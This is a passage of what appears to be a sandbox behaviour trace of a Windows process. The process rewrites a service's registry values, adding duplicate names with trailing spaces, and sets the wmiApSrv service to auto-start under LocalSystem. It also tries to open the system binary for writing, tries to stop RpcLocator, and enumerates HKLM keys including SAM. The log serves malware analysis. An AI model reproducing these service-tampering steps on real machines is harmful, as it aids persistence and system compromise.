lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.726] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.726] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.726] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.726] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.726] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.726] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.726] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.726] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.726] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.726] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.726] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0232.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0232.727] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0232.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.727] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.728] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.728] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.728] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.728] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.728] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0232.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0232.728] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0232.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0232.728] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.728] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.728] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.728] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.728] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.728] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.729] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.729] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.729] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.729] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.729] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.729] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.729] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.729] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.729] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.729] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.729] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0232.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0232.729] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0232.729] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.730] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.731] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.731] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.731] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0232.731] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0232.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0232.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0232.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0232.731] LocalFree (hMem=0x7f03d0) returned 0x0 [0232.731] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0232.731] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x8038a0 [0232.784] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0232.785] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0232.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0232.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0232.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0232.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0232.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0232.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.786] RegCloseKey (hKey=0x148) returned 0x0 [0232.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0232.786] RegCloseKey (hKey=0x150) returned 0x0 [0232.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0232.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0232.786] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0232.786] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0232.786] GetLastError () returned 0x20 [0232.786] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0232.787] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0232.787] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0232.787] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x20) returned 0x803990 [0232.787] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0232.787] GetLastError () returned 0x425 [0232.787] CloseServiceHandle (hSCObject=0x803990) returned 1 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0232.788] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.788] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.788] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.788] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0232.789] RtlAllocateHeap 